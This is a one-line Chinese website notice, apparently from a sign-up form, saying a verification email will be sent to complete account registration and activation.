我们将发送一封验证邮件至你的邮箱, 请正确填写以完成账号注册和激活